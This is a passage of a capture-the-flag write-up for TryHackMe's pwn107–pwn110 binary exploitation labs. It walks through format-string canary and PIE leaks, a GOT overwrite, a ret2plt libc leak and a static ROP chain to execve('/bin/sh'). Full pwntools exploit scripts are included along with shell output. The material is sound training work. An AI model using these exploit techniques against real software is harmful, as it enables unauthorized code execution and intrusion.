β 0x00000963 lea rdi, str.This_your_last_streak_back
β 0x0000096a call sym.imp.puts ; int puts(const char *s)
β 0x0000096f lea rdi, str.bin_sh ; 0xc60 ; "/bin/sh"
β 0x00000976 call sym.imp.system ; int system(const char *string)
β 0x0000097b nop
β 0x0000097c mov rax, qword [canary]
β 0x00000980 xor rax, qword fs:[0x28]
βββ< 0x00000989 je 0x990
ββ 0x0000098b call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
ββ ; CODE XREFk @ 0x989
βββ> 0x00000990 leave
β 0x00000991 ret
main function
β int main (int argc, char **argv, char **envp);
β ; var char *format @ rbp-0x40
β ; var void *buf @ rbp-0x20
β ; var int64_t canary @ rbp-0x8
β 0x00000992 push rbp
β 0x00000993 mov rbp, rsp
β 0x00000996 sub rsp, 0x40
β 0x0000099a mov rax, qword fs:[0x28]
β 0x000009a3 mov qword [canary], rax
β 0x000009a7 xor eax, eax
β 0x000009a9 mov eax, 0
β 0x000009ae call sym.setup
β 0x000009b3 mov eax, 0
β 0x000009b8 call sym.banner
β 0x000009bd lea rdi, str.You_are_a_good_THM_player ; 0xc68
β 0x000009c4 call sym.imp.puts ; int puts(const char *s)
β 0x000009c9 lea rdi, str.But_yesterday_you_lost_your_streak
β 0x000009d0 call sym.imp.puts ; int puts(const char *s)
β 0x000009d5 lea rdi, str.You_mailed_about_this_to_THM__and_they_responsed
β 0x000009dc call sym.imp.puts ; int puts(const char *s)
β 0x000009e1 lea rdi, str.Answer_those_questions_and_get_your_streak_back
β 0x000009e8 call sym.imp.puts ; int puts(const char *s)
β 0x000009ed lea rdi, str.THM:_What_s_your_last_streak ;
β 0x000009f4 mov eax, 0
β 0x000009f9 call sym.imp.printf ; printf("THM: What s your")
β 0x000009fe lea rax, [format]
β 0x00000a02 mov edx, 0x14 ; size_t nbyte
β 0x00000a07 mov rsi, rax ; void *buf
β 0x00000a0a mov edi, 0 ; int fildes
β 0x00000a0f mov eax, 0
β 0x00000a14 call sym.imp.read ; read(0,rbp-0x40, 20)
β 0x00000a19 lea rdi, str.Thanks__Happy_hacking
β 0x00000a20 mov eax, 0
β 0x00000a25 call sym.imp.printf ; printf("Thanksβ¦")
β 0x00000a2a lea rax, [format]
β 0x00000a2e mov rdi, rax ; const char *format
β 0x00000a31 mov eax, 0
β 0x00000a36 call sym.imp.printf ; printf(rbp-0x40)
β 0x00000a3b lea rdi, str.Few_days_latter...._a_notification_pops_up
β 0x00000a42 call sym.imp.puts ; int puts(const char *s)
β 0x00000a47 lea rdi, str.Hi_pwner_______keep_hacking
β 0x00000a4e call sym.imp.puts ; int puts(const char *s)
β 0x00000a53 lea rax, [buf]
β 0x00000a57 mov edx, 0x200 ; 512 ; size_t nbyte
β 0x00000a5c mov rsi, rax ; void *buf
β 0x00000a5f mov edi, 0 ; int fildes
β 0x00000a64 mov eax, 0
β 0x00000a69 call sym.imp.read ; ssize_t read(0 , *buf, 512)
β 0x00000a6e nop
β 0x00000a6f mov rax, qword [canary]
β 0x00000a73 xor rax, qword fs:[0x28]
β ββ< 0x00000a7c je 0xa83
β β 0x00000a7e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
β β ; CODE XREF
β ββ> 0x00000a83 leave
β 0x00000a84 ret
Two vulnerability are presents
- Format string.
The streak is read in the local variable : rbp-0x40
0x00000a14 call sym.imp.read ; read(0,rbp-0x40, 20)
and printed with a format string vulnerability
β 0x00000a36 call sym.imp.printf ; printf(rbp-0x40)
- Overflow.
Le last message read with a max length of 0x200 to the buffer located on rbp-0x20
var void *buf @ rbp-0x20
β 0x00000a69 call sym.imp.read ; ssize_t read(0 , *buf, 512)
With the format string we can leak the canary and then we can patche the return address of main with the address of get_streak.
The problem here is that with PIE we dont know the real get_streak address.
So we need an other leak : a text section address.
Observing the stack at 0x00000a14 we can see :
gefβ€ x/12xg $rsp
0x7fffffffe180: 0x4141414141414141 0x00000a7025207025
0x7fffffffe190: 0x00007ffff7fe4530 0x0000000000000000
0x7fffffffe1a0: 0x0000555555554a90 0x0000555555554780
<__libc_csu_init>: start
0x7fffffffe1b0: 0x00007fffffffe2a0 0xff24f6fbd8c03d00
CANARY
0x7fffffffe1c0: 0x0000555555554a90 0x00007ffff7e1209b
0x7fffffffe1d0: 0x0000000000000000 0x00007fffffffe2a8
Where the tags was found handly
gefβ€ x/2i 0x000055a01fc4aa90
0x55a01fc4aa90 <__libc_csu_init>: push r15
0x55a01fc4aa92 <__libc_csu_init+2>: push r1
4
We locate the start of the observed stack
THM: What's your last streak? AAAAAAAA%6$p
Thanks, Happy hacking!!
Your current streak: AAAAAAAA0x4141414141414141
To leak @start / canary
THM: What's your last streak? %11$p/%13$p
Thanks, Happy hacking!!
Your current streak: 0x562a37800780/0x85a6d202c4b40f0
0
The start address give us a base address : 0x562a37800000 => get_streak = 0x562a3780094c
Exploitation
#!/usr/bin/env python3
from pwn import *
import re
REMOTE=False
server = "pwn101.thm"
port = 9007
file="./pwn107.pwn107"
gs = '''
b *main+215
c
'''
elf = ELF(file)
streak = elf.symbols['get_streak']
streak = 0x96f
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
else:
io = process(file)
gdb.attach(io, gs)
# io = gdb.debug(file, aslr=False, gdbscript=gs)
log.info("Leak...")
io.sendlineafter(b'streak?',b'%13$p %11$p')
io.recvuntil(": ")
l1,l2 = io.recvline().rstrip().split(b' ')
io.info(f"leaks : {l1}, {l2}")
canary = int(l1,16)
start_addr = int(l2,16)
streak_addr = (start_addr&0xfffffffff000)|streak
io.info(f"canary : {canary:08x}")
io.info(f"start_addr : {start_addr:08x}")
io.info(f"streak_addr: {streak_addr:08x}")
PL=b'A'*24+p64(canary)+p64(0xdeadbeaf)+p64(streak_addr)
io.sendline(PL)
io.interactive()
# ./pwn107.py
[*] '/mnt/work/tryhackme/pwn101/107/pwn107.pwn107'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to pwn101.thm on port 9007: Done
[*] Leak...
/b'0xf87f66bd6eb92500' b'0x560763dfb780'
[*] canary : f87f66bd6eb92500
[*] start_addr : 560763dfb780
[*] streak_addr: 560763dfb96f
[*] Switching to interactive mode
[Few days latter.... a notification pops up]
Hi pwner πΎ, keep hackingπ©π» - We miss you!π’
$ ls
flag.txt
pwn107
pwn107.c
$ cat flag.txt
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxx}
pwn108 : GOT overwrite
Discovery
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 108
THM University π
π¨βπ Student login portal π©βπ
=[Your name]: ZZZZZZZZ
=[Your Reg No]: 111
=[ STUDENT PROFILE ]=
Name : ZZZZZZZZ
Register no : 111
Institue : THM
Branch : B.E (Binary Exploitation)
=[ EXAM SCHEDULE ]=
--------------------------------------------------------
| Date | Exam | FN/AN |
|--------------------------------------------------------
| 1/2/2022 | PROGRAMMING IN ASSEMBLY | FN |
|--------------------------------------------------------
| 3/2/2022 | DATA STRUCTURES | FN |
|--------------------------------------------------------
| 3/2/2022 | RETURN ORIENTED PROGRAMMING | AN |
|--------------------------------------------------------
| 7/2/2022 | SCRIPTING WITH PYTHON | FN |
--------------------------------------------------------
Protection :
[+] checksec for '/home/jce/work/tryhackme/pwn101/108/pwn108.pwn108'
Canary : β
NX : β
PIE : β
Fortify : β
RelRO : Partial
Analysis
We can identify a target function.
β sym.holidays ();
β ; var int64_t var_eh @ rbp-0xe
β ; var int64_t var_ah @ rbp-0xa
β ; var int64_t canary @ rbp-0x8
β 0x0040123b push rbp
β 0x0040123c mov rbp, rsp
β 0x0040123f sub rsp, 0x10
β 0x00401243 mov rax, qword fs:[0x28]
β 0x0040124c mov qword [canary], rax
β 0x00401250 xor eax, eax
β 0x00401252 mov dword [var_eh], 0x6d617865 ; 'exam'
β 0x00401259 mov word [var_ah], 0x73 ; 's' ; 115
β 0x0040125f lea rax, [var_eh]
β 0x00401263 mov rsi, rax
β 0x00401266 lea rax, str.No_more__s_for_you_enjoy_your_holidays
β 0x0040126d mov rdi, rax ; const char *format
β 0x00401270 mov eax, 0
β 0x00401275 call sym.imp.printf ; int printf(const char *format)
β 0x0040127a lea rax, str.bin_sh ; 0x40216f ; "/bin/sh"
β 0x00401281 mov rdi, rax ; const char *string
β 0x00401284 call sym.imp.system ; int system(const char *string)
β 0x00401289 nop
β 0x0040128a mov rax, qword [canary]
β 0x0040128e sub rax, qword fs:[0x28]
β ββ< 0x00401297 je 0x40129e
β β 0x00401299 call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
β β ; CODE XREF@ 0x401297
β ββ> 0x0040129e leave
β 0x0040129f ret
In the main function
Printting no is vulnerable to a format string exploitation
β 0x0040137a lea rax, str.Register_no__: ; 0x40220f ; "Register no : "
β 0x00401381 mov rdi, rax ; const char *format
β 0x00401384 mov eax, 0
β 0x00401389 call sym.imp.printf ; int printf(const char *format)
The input of this no accept 100 bytes
β 0x00401336 mov edx, 0x64 ; 100 ; size_t nbyte
β 0x0040133b mov rsi, rax ; void *buf
β 0x0040133e mov edi, 0 ; int fildes
β 0x00401343 mov eax, 0
β 0x00401348 call sym.imp.read ; ssize_t read(0, *buf, 100)
=[Your name]: AAAA
=[Your Reg No]: BBBBBBBB %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p
=[ STUDENT PROFILE ]=
Name : AAAA
Register no : BBBBBBBB 0x7fff7df980b0 0x7f5eb49438c0 (nil) 0x7f5eb4948500 0x7f5eb4900e80 0xa41414141 (nil) (nil) (nil) 0x4242424242424242 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x7025202070252070 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x7fff0a702520 0xffe56cbe8beac200 0x4013f0 0x7f5eb47aa09b (nil) 0x7fff7df9a8c8 0x100040000 0x4012a0 (nil)
οΏ½Institue : THM
The name is at offset 6 the the no to offset 10.
=[Your name]: AAAAAAAA
=[Your Reg No]: BBBBBBBB %6$p %10$p
=[ STUDENT PROFILE ]=
Name : AAAAAAAA
Register no : BBBBBBBB 0x4141414141414141 0x424242424242424
2
Building the attack
To call the function holliday we will replace the got entry of the function puts by the address of holliday.
In the name we can set an adresse available at offset 6 in the second printf.
On the second printf we can control
0x404018 <puts@got.plt>: 0x00007f2d15b96910
0x0040123b
We write 0x40 (64) first at puts@got+2
We write 0x123b at puts@got
puts@got+2 is set in the name to be present in the stack at offset 6
puts@got is set in the register no to be present at an offset has to be adjusted
The payload to write 0x40 then
%64c%6$n%{0x123b-67}c %13$hn/’.encode()+p64(puts@got)
%64c : send 0x40 car.
%6$n : write 0x40 to puts@got+2
%{0x123b-67}c : send the missing car to 0x123b
2 car for alignment
%13$hn : write 2 bytes in got_puts
puts@got : to be in 13th position
#!/usr/bin/env python3
from pwn import *
import sys
REMOTE=False
server = "pwn101.thm"
port = 9008
file="./pwn108.pwn108"
gs = '''
b *main+250
c
'''
elf = ELF(file)
got_puts = elf.got['puts']
holidays = elf.symbols['holidays']
if len(sys.argv)>0 and sys.argv[1] == '-r':
REMOTE=True
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
else:
io = process(file)
gdb.attach(io, gs)
#io = gdb.debug(file, aslr=False, gdbscript=gs)
io.sendlineafter('name]: ', p64(got_puts+2))
patch=holidays&0xffff
io.info(f"got_puts : {got_puts:08x}")
io.info(f"holidays : {holidays:08x}")
io.info(f"patch : {patch:08x}")
PL=f'%64c%6$n%{patch-67}c %13$hn/'.encode()+p64(got_puts)
io.sendlineafter('No]: ', PL)
io.interactive()
$ id
uid=1009(pwn108) gid=1009(pwn108) groups=1009(pwn108)
$ ls
flag.txt
pwn108
pwn108.c
$ cat flag.txt
THM{xxxxxxxxxxxxxxxxxx}
pwn 109 - Return to PLT
Discovery
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 109
This time no ποΈ π€« & ππ©.π Go ahead π
ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZ
Program received signal SIGSEGV, Segmentation fault.
0x0000000000401231 in main ()
gefβ€ checksec
[+] checksec for '/home/jce/work/tryhackme/pwn101/109/pwn109.pwn109'
Canary : β
NX : β
PIE : β
Fortify : β
RelRO : Partial
No canary protect the return address, the addresse are static and we can write in the GOT.
Analysis
Dump of assembler code for function main:
0x00000000004011f2 <+0>: endbr64
0x00000000004011f6 <+4>: push rbp
0x00000000004011f7 <+5>: mov rbp,rsp
0x00000000004011fa <+8>: sub rsp,0x20
0x00000000004011fe <+12>: mov eax,0x0
0x0000000000401203 <+17>: call 0x401176 <setup>
0x0000000000401208 <+22>: mov eax,0x0
0x000000000040120d <+27>: call 0x4011db <banner>
0x0000000000401212 <+32>: lea rdi,[rip+0xf07] # 0x402120
0x0000000000401219 <+39>: call 0x401060 <puts@plt>
0x000000000040121e <+44>: lea rax,[rbp-0x20]
0x0000000000401222 <+48>: mov rdi,rax
0x0000000000401225 <+51>: mov eax,0x0
0x000000000040122a <+56>: call 0x401070 <gets@plt>
0x000000000040122f <+61>: nop
0x0000000000401230 <+62>: leave
0x0000000000401231 <+63>: ret
End of assembler dump.
We have an simple overflow of size 32 :
0x00000000004011fa <+8>: sub rsp,0x20
0x000000000040122a <+56>: call 0x401070 <gets@plt>
The addresse are static so we can use gets to leak the GOT table.
In the program we hav only 3 functions avalable in the PLT/GOT : gets, puts and setbuf used in the setup() function.
What can we do.
- execute a ROP chaine by a simple overflow
- leak the got
- in the ropchain call the main to engage serveral stages
Then we can call βsystemβ with a ret-PLT attack.
Building the attack
To call system we have to find his address. We can calculate from the address of gets, puts or setbuf. On the local machine it is easy but on the remote target we will need help.
The stages of the attack are :
- leak the puts, and gets addresses in the GOT
- localize system, and β/bin/shβ in the libc
- call system(β/bin/shβ)
Leaking
To leak a GOT with gets we need first a rop gadget to put the target address in rdi .
# ROPgadget --binary pwn109.pwn109 |grep "pop rdi" 0x00000000004012a3 : pop rdi ; ret
The we build the ropchain :
@pop_rdi gadget
gets@got
puts@plt
@main
The gadget load the address of gets in rdi.
- puts@plt call gets and leak the address of gets in libc.
- main return to the begining of the program so we loop
- So the message payload to send is:
- βAβ*40 | pop_rdi | gets@got| puts@plt | main
With pwtools
Get the program infos
elf = ELF(file)
plt_puts = elf.plt['puts']
got_puts = elf.got['puts']
got_gets = elf.got['gets']
elf_main = elf.symbols['main']
pop_rdi=p64(0x04012a3)
leak gets
io.info("stage 1")
PL=b'A'*40
PL+=pop_rdi
PL+=p64(got_gets)
PL+=p64(plt_puts)
PL+=p64(elf_main)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
r =io.recv(6)+b'\x00\x00'
leak_gets=u64(r)
print(f"leak gets : {leak_gets:08x}")
leak gets : 7f0fa7c7b190
leak puts : 7f0fa7c7baa0
Calling system
To call system we have to know de offset between a leak and system in the libc.
On the local machine an easy way to localize the system function and β/bin/shβ is to user gdb, GEF or pwngdb
pwndbg> p system
$1 = {int (const char *)} 0x7ffff7e2a850 <__libc_system>
pwndbg> search "/bin/sh"
libc-2.33.so 0x7ffff7f69962 0x68732f6e69622f /* '/bin/sh' */
pwndbg> p gets
$3 = {char *(char *)} 0x7ffff7e56350 <_IO_gets>
I prefer to work with offset to the begining of the libc
info file
. . .
0x00007ffff7de1350 - 0x00007ffff7de1370 is .note.gnu.property in /lib/x86_64-linux-gnu/libc.so.6
. . .
The libc base address is 0x00007ffff7de1000
offset of system : 0x49850
offset of /bin/sh : 0x188962
offset of gets : 0x75350
So from the gets leak we can obtain : libc_base = leak - 0x75350 and @system = libc_base + 0x49850 @str_bin_sh = libc_base + 0x188962
Building the payload :
PL=b'A'*40
PL+=pop_rdi
PL+=p64(binsh_addr)
PL+=p64(system_addr)
For stack alignment problem we realy add en rop-nop instruction (ret address) in the begining of the ropchain.
PL=b'A'*40
PL+=ret
PL+=pop_rdi
PL+=p64(binsh_addr)
PL+=p64(system_addr)
Resolving addresses in remote libc
From some leak addresses in a given libc we can identify the libc version with online tools like :
or
The second is actualy better updated.
“libc database”
It is an api so you can resolve automaticaly the adresses :
curl 'https://libc.rip/api/find' -H 'Content-Type: application/json' --data-raw '{"symbols":{"gets":"190","puts":"aa0"}}'
[
{
"buildid": "ce450eb01a5e5acc7ce7b8c2633b02cc1093339e",
"download_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.4_amd64.so",
"id": "libc6_2.27-3ubuntu1.4_amd64",
"libs_url": "http://archive.ubuntu.com/ubuntu/pool/main/g/glibc//libc6_2.27-3ubuntu1.4_amd64.deb",
"md5": "8ee8363b834ad2c65a05bd40c8e4623e",
"sha1": "46e93283ff53133360e02a73ae5b5ba375410855",
"sha256": "467d8d5596e31cec78cdcde0c589bd04c031ec36598531bfd77e346ac447d9d6",
"symbols": {
"__libc_start_main_ret": "0x21bf7",
"dup2": "0x110a70",
"gets": "0x80190",
"printf": "0x64f70",
"puts": "0x80aa0",
"read": "0x110140",
"str_bin_sh": "0x1b3e1a",
"system": "0x4f550",
"write": "0x110210"
},
"symbols_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.4_amd64.symbols"
},
{
"buildid": "cc6dd208d3af4bc505f599a90ef8af52f16116e4",
"download_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.3_amd64.so",
"id": "libc6_2.27-3ubuntu1.3_amd64",
"libs_url": "http://archive.ubuntu.com/ubuntu/pool/main/g/glibc//libc6_2.27-3ubuntu1.3_amd64.deb",
"md5": "b7bb0c7852f533334ee662034f534f7e",
"sha1": "931ff6cb80de2696bb1330b417bca9bfaaf1d40b",
"sha256": "799a86fec8450776b0b15e40f4e184df609c1ee4bb7f9d0d861cb292a38efd43",
"symbols": {
"__libc_start_main_ret": "0x21bf7",
"dup2": "0x110a70",
"gets": "0x80190",
"printf": "0x64f70",
"puts": "0x80aa0",
"read": "0x110140",
"str_bin_sh": "0x1b3e1a",
"system": "0x4f550",
"write": "0x110210"
},
"symbols_url": "https://libc.rip/download/libc6_2.27-3ubuntu1.3_amd64.symbols"
}
]
The site return two near versions of the libc with the same offsets.
exploit
In this script we donβt call
from pwn import *
import sys
REMOTE=False
server = "pwn101.thm"
port = 9009
file="./pwn109.pwn109"
gs = '''
b *main+56
c
'''
elf = ELF(file)
plt_puts = elf.plt['puts']
print(elf.got)
got_puts = elf.got['__libc_start_main']
got_puts = elf.got['puts']
got_gets = elf.got['gets']
elf_main = elf.symbols['main']
pop_rdi=p64(0x04012a3)
ret=p64(0x0401231)
# simple arg parsing
if len(sys.argv)>1 and sys.argv[1] == '-r':
REMOTE=True
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
# libc6_2.27-3ubuntu1.4_amd64
off_puts=0x080aa0
off_binsh=0x1b3e1a
off_system=0x04f550
else:
io = process(file)
#gdb.attach(io, gs)
#io = gdb.debug(file, aslr=False, gdbscript=gs)
off_system=0x40850
off_gets=0x6c350
off_puts=0x6cde0
off_binsh=0x17f962
io.info("**** ret2plt *****")
io.info(f"plt_puts : {plt_puts:08x}")
io.info(f"got_puts : {got_puts:08x}")
io.info(f"elf_main : {elf_main:08x}")
io.info("stage 1")
PL=b'A'*40
PL+=pop_rdi
PL+=p64(got_gets)
PL+=p64(plt_puts)
PL+=p64(elf_main)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
r =io.recv(6)+b'\x00\x00'
leak_gets=u64(r)
print(f"leak gets : {leak_gets:08x}")
io.info("stage 2")
PL=b'A'*40
PL+=pop_rdi
PL+=p64(got_puts)
PL+=p64(plt_puts)
PL+=p64(elf_main)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
r =io.recv(6)+b'\x00\x00'
leak_puts=u64(r)
print(f"leak puts : {leak_puts:08x}")
libc_base=leak_puts - off_puts
system_addr = libc_base+off_system
binsh_addr = libc_base+off_binsh
io.info(f"libc base : {libc_base:08x}")
io.info(f"system : {system_addr:08x}")
io.info("stage 3")
PL=b'A'*40
PL+=ret
PL+=pop_rdi
PL+=p64(binsh_addr)
PL+=p64(system_addr)
io.readuntil(b'ahead')
io.readline()
io.sendline(PL)
io.sendline(b'cat flag.txt')
print(io.readline().decode())
io.interactive()
Execution :
βββ(rootπKALI2021)-[/mnt/work/tryhackme/pwn101/109]
ββ# python3 stage1.py -r
[*] '/mnt/work/tryhackme/pwn101/109/pwn109.pwn109'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
{'__libc_start_main': 4210672, '__gmon_start__': 4210680, 'stdout': 4210752, 'stdin': 4210768, 'stderr': 4210784, 'puts': 4210712, 'gets': 4210720, 'setvbuf': 4210728}
[+] Opening connection to pwn101.thm on port 9009: Done
[*] **** ret2plt *****
[*] plt_puts : 00401064
[*] got_puts : 00404018
[*] elf_main : 004011f2
[*] stage 1
leak gets : 7f0fa7c7b190
[*] stage 2
leak puts : 7f0fa7c7baa0
[*] libc base : 7f0fa7bfb000
[*] system : 7f0fa7c4a550
[*] stage 3
THM{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
[*] Closed connection to pwn101.thm port 9009
pwn110 - Playing with ROP
Discovery
# ./pwn110.pwn110
ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ
β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€
β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ
pwn 110
Hello pwner, I'm the last challenge πΌ
Well done, Now try to pwn me without libc π
AAAAAAA
# file ./pwn110.pwn110
./pwn110.pwn110: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=9765ee1bc5e845af55929a99730baf4dccbb1990, for GNU/Linux 3.2.0, not stripped
# gdb ./pwn110.pwn110 pwndbg> checksec
[*] '/mnt/work/tryhackme/pwn101/110/pwn110.pwn110'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
RELRO information is no relevant in a static executable
checksec find a canary but desassembling the main we dont see any protection
pwndbg> disassemble main
Dump of assembler code for function main:
0x0000000000401e61 <+0>: endbr64
0x0000000000401e65 <+4>: push rbp
0x0000000000401e66 <+5>: mov rbp,rsp
0x0000000000401e69 <+8>: sub rsp,0x20
0x0000000000401e6d <+12>: mov eax,0x0
0x0000000000401e72 <+17>: call 0x401de5 <setup>
0x0000000000401e77 <+22>: mov eax,0x0
0x0000000000401e7c <+27>: call 0x401e4a <banner>
0x0000000000401e81 <+32>: lea rdi,[rip+0x93298] # hello
0x0000000000401e88 <+39>: call 0x411bd0 <puts>
0x0000000000401e8d <+44>: lea rdi,[rip+0x932bc] # well done
0x0000000000401e94 <+51>: call 0x411bd0 <puts>
0x0000000000401e99 <+56>: lea rax,[rbp-0x20]
0x0000000000401e9d <+60>: mov rdi,rax
0x0000000000401ea0 <+63>: mov eax,0x0
0x0000000000401ea5 <+68>: call 0x411a10 <gets>
0x0000000000401eaa <+73>: nop
0x0000000000401eab <+74>: leave
0x0000000000401eac <+75>: ret
End of assembler dump.
gets read on rbp-0x20 so 40 caracters will smatch SRBP and 48 SRIP
The program is staticaly linked. We donβt have a libc but a lot of instructions.
There is no PIE. The addresses are fixed.
nm pwn110.pwn110 |grep " T " |wc -l
728
The programme contains 728 symbols and probabely a lot of widgets.
Building the ROP chaine
Our goal is to execute an instruction execve with de programe β/bin/shβ as argument.
We dont have the libc fonction execve available in the program so we have to use the syscall instruction.
The sys_exeve syscall call prototype is:
rax function rdi rsi rdx
59 sys_execve const char *filename const char *const argv[] const char *const envp[]
The we have to :
- Store the string β/bin/shβ
- Build a argv zone argv : pointer to /bin/sh | null pointer
- load rdi with the /bin/sh address
- load rsi with the argv address
- Set rdx to zero
To store the data we can use the .data section.
readelf -S .data pwn110.pwn110
β¦
[21] .data PROGBITS 00000000004c00e0 000bf0e0
0000000000001a50 0000000000000000 WA 0 0 32
β¦
.data has a static address 0x4c00e0 and a large size of 0x1a50.
Some sample of gadget search with ropper:
Finding syscall gadget :
# ropper -f pwn110.pwn110 --search "syscall; ret"
. . .
0x00000000004173d4: syscall; ret;
Finding pop rdi; ret
# ropper -f pwn110.pwn110 --search 'pop rdi; ret'
[INFO] Load gadgets from cache
[INFO] Searching for gadgets: pop rdi; ret
[INFO] File: pwn110.pwn110
0x000000000040191a: pop rdi; ret;
To write in memory we need a gadget like βmov [reg1], reg2β
# ropper -f pwn110.pwn110 --search 'mov [rdi], r%; ret'
β¦
0x00000000004340a3: mov qword ptr [rdi], rdx; ret;
rdi β> data : /bin/sh\0
rsi β> data+8 : data
data+16 : \0
Intitialize a payload with the prefix for overfow.
data = 0x4c00e0
PL=b'A'*40
Step 0 : Initialize rdi
# Ini data
PL+=p64(0x0040191a) # pop rdi; ret;
PL+=p64(data)
Step 1 : write /bin/sh\0 in data
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=b'/bin/sh\x00'
PL+=p64(0x004340a3) # mov qword ptr [rdi], rdx; ret;
Step2 : write @data in data+8
# binsh | @binsh
PL+=p64(0x00419ad4) # mov rax, rdi; ret;
PL+=p64(0x00417a8a) # mov qword ptr [rdi + 8], rax; ret;
Step3. Add zero in data+16
# binsh | @binsh | null
PL+=p64(0x00443e30) # xor rax, rax; ret
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=p64(data+0x10) # argv[1]
PL+=p64(0x00419748) # mov qword ptr [rdx], rax; ret;
Step4. Set rsi to argv = @data+8
PL+=p64(0x0040f4de) # pop rsi; ret;
PL+=p64(data+8) # argv[0]
PL+=p64(0x004497d7) # pop rax; ret;
Step5. syscall(sys_execve, β/bin/shβ, data+8, 0)
PL+=p64(59) # Sys_execve
PL+=p64(0x004173d4) # syscall; ret;
finaly to avoid a crash when execve return an error : syscall(exit)
PL+=p64(60) # sys_exit
PL+=p64(0x004173d4) # syscall; ret;
Final source
#!/usr/bin/env python3
from pwn import *
import sys
REMOTE=False
GDB=False
server = "pwn101.thm"
port = 9010
file="./pwn110.pwn110"
gs = '''
b *main+68
'''
elf = ELF(file)
# simple arg parsing
if len(sys.argv)>1 :
if sys.argv[1] == '-r':
REMOTE=True
if sys.argv[1] == '-d':
GDB=True
if REMOTE:
try:
io = remote(server, port)
except:
log.info(f"Cant connect to {server}")
exit()
else:
if GDB:
io = gdb.debug(file, aslr=False, gdbscript=gs)
#gdb.attach(io, gs)
else:
io = process(file)
io.info("**** ropchaine *****")
data = 0x4c00e0
PL=b'A'*40
# Set rdi to data
PL+=p64(0x0040191a) # pop rdi; ret;
PL+=p64(data)
# binsh
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=b'/bin/sh\x00'
PL+=p64(0x004340a3) # mov qword ptr [rdi], rdx; ret;
# binsh | @binsh
PL+=p64(0x00419ad4) # mov rax, rdi; ret;
PL+=p64(0x00417a8a) # mov qword ptr [rdi + 8], rax; ret;
# binsh | @binsh | null
PL+=p64(0x00443e30) # xor rax, rax; ret
PL+=p64(0x0040181f) # pop rdx; ret;
PL+=p64(data+0x10)
PL+=p64(0x00419748) # mov qword ptr [rdx], rax; ret;
PL+=p64(0x0040f4de) # pop rsi; ret;
PL+=p64(data+8)
PL+=p64(0x004497d7) # pop rax; ret;
PL+=p64(59)
PL+=p64(0x004173d4) # syscall; ret;
PL+=p64(60)
PL+=p64(0x004173d4) # syscall; ret;
io.sendline(PL)
io.sendline(b'id')
io.interactive()
Annexe. The source of pwn110
$ cat pwn110.c
#include <stdio.h>
#include <stdlib.h>
void setup(){
setvbuf(stdout,(char *)0x0,2,0);
setvbuf(stderr,(char *)0x0,2,0);
setvbuf(stdin,(char *)0x0,2,0);
}
void banner(){
puts(
" ββ¬ββ¬βββ¬ β¬β¬ β¬βββββββ¬ββββ¬ββββ\n"
" β ββ¬βββ¬ββββ€βββ€β ββ΄ββββββ€ \n"
" β΄ β΄ββ β΄ β΄ β΄β΄ β΄ββββ΄ β΄β΄ β΄βββ\n"
" pwn 110 \n"
);
}
void main(){
setup();
banner();
char pwn_me[20];
puts("Hello pwner, I'm the last challenge πΌ");
puts("Well done, Now try to pwn me without libc π");
gets(pwn_me);
}